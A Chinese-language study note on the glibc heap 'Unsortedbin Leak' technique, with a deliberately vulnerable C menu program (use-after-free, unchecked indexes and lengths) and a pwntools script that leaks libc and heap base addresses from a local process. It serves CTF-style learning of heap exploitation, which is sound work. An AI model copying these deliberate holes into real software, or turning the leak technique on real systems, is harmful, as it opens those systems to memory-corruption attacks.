前言
从前都是野路子学习,学校时间也比较紧张,没有能够好好总结。一直有做个人笔记的习惯,但是学习路线比较分散盲目,虽然跟着wiki做,但是也面临知识点不全的窘境。近期开始跟着课程系统的学习,对于老的知识点也打算翻新一遍收获新知,同时也打算将相关知识整理一份,做一个系列,与诸君共勉。
由于是手札,所以记录侧重核心知识,对于细节可能会疏忽很多(更多的作为一个知识清单,详细知识网上其他师傅也必然都有优秀的文章博客,也不必赘述冗余),也可能出现很多不严谨的地方。希望读者多多包涵、及时指出以便我进行改正。
本系列的开篇之作,就从Unsortedbin Leak开始。
演示、测试代码部分来自看雪课程
一、Unsortedbin Leak原理
Unsorted Bin 在管理时为循环双向链表,若 Unsorted Bin 中有两个 bin,那么该链表结构如下
main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一
实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,那么如果我们有进程所使用的 libc 的 .so 文件的话,我们就可以获得 main_arena 与 libc 基地址的偏移,从而获取 libc
的基地址。
由于 unsorted bin 是双向链表,因此在 unsorted bin 链表中必有一个节点的 fd 指针会指向
main_arena 结构体内部。如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与main_arena 有固定偏移的地址,这个偏移可以通过调试得出。
二、Leak Libc
如果存在UAF漏洞(释放后利用),并存在打印函数,可以将一块Unsortedbin中的chunk内容进行打印,就可以泄露main_arena上的指针,也即一块libc地址。
三、Leak Heap
原理还是和Leak Libc一样,但是选手可能更关注Unsortedbin Leak Libc。双向链表,因此党Unsortedbin里面有多个chunk时,由于堆块的指针相互指向,因此chunk中也包含堆的地址,此时打印出来通过偏移即可获得堆基址。
四、测试代码
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'
p = process([elf.path])
def add_chunk(index, size):
p.sendafter(b"choice:", b"1")
p.sendafter(b"index:", str(index).encode())
p.sendafter(b"size:", str(size).encode())
def delete_chunk(index):
p.sendafter(b"choice:", b"2")
p.sendafter(b"index:", str(index).encode())
def edit_chunk(index, content):
p.sendafter(b"choice:", b"3")
p.sendafter(b"index:", str(index).encode())
p.sendafter(b"length:", str(len(content)).encode())
p.sendafter(b"content:", content)
def show_chunk(index):
p.sendafter(b"choice:", b"4")
p.sendafter(b"index:", str(index).encode())
add_chunk(0, 0x80)
add_chunk(3, 0x20)
add_chunk(1, 0x80)
add_chunk(4, 0x20)
add_chunk(2, 0x80)
delete_chunk(0)
delete_chunk(1)
add_chunk(0, 0x80)
show_chunk(0)
libc.address = u64(p.recvuntil(b'\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))-0x729e52b9bb78+0x729e52800000
info("libc base: " + hex(libc.address))
edit_chunk(0, b'a' * 8)
show_chunk(0)
heap_base = u64(p.recvuntil(b'\x0a\x31',drop=True)[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
gdb.attach(p)
p.interactive()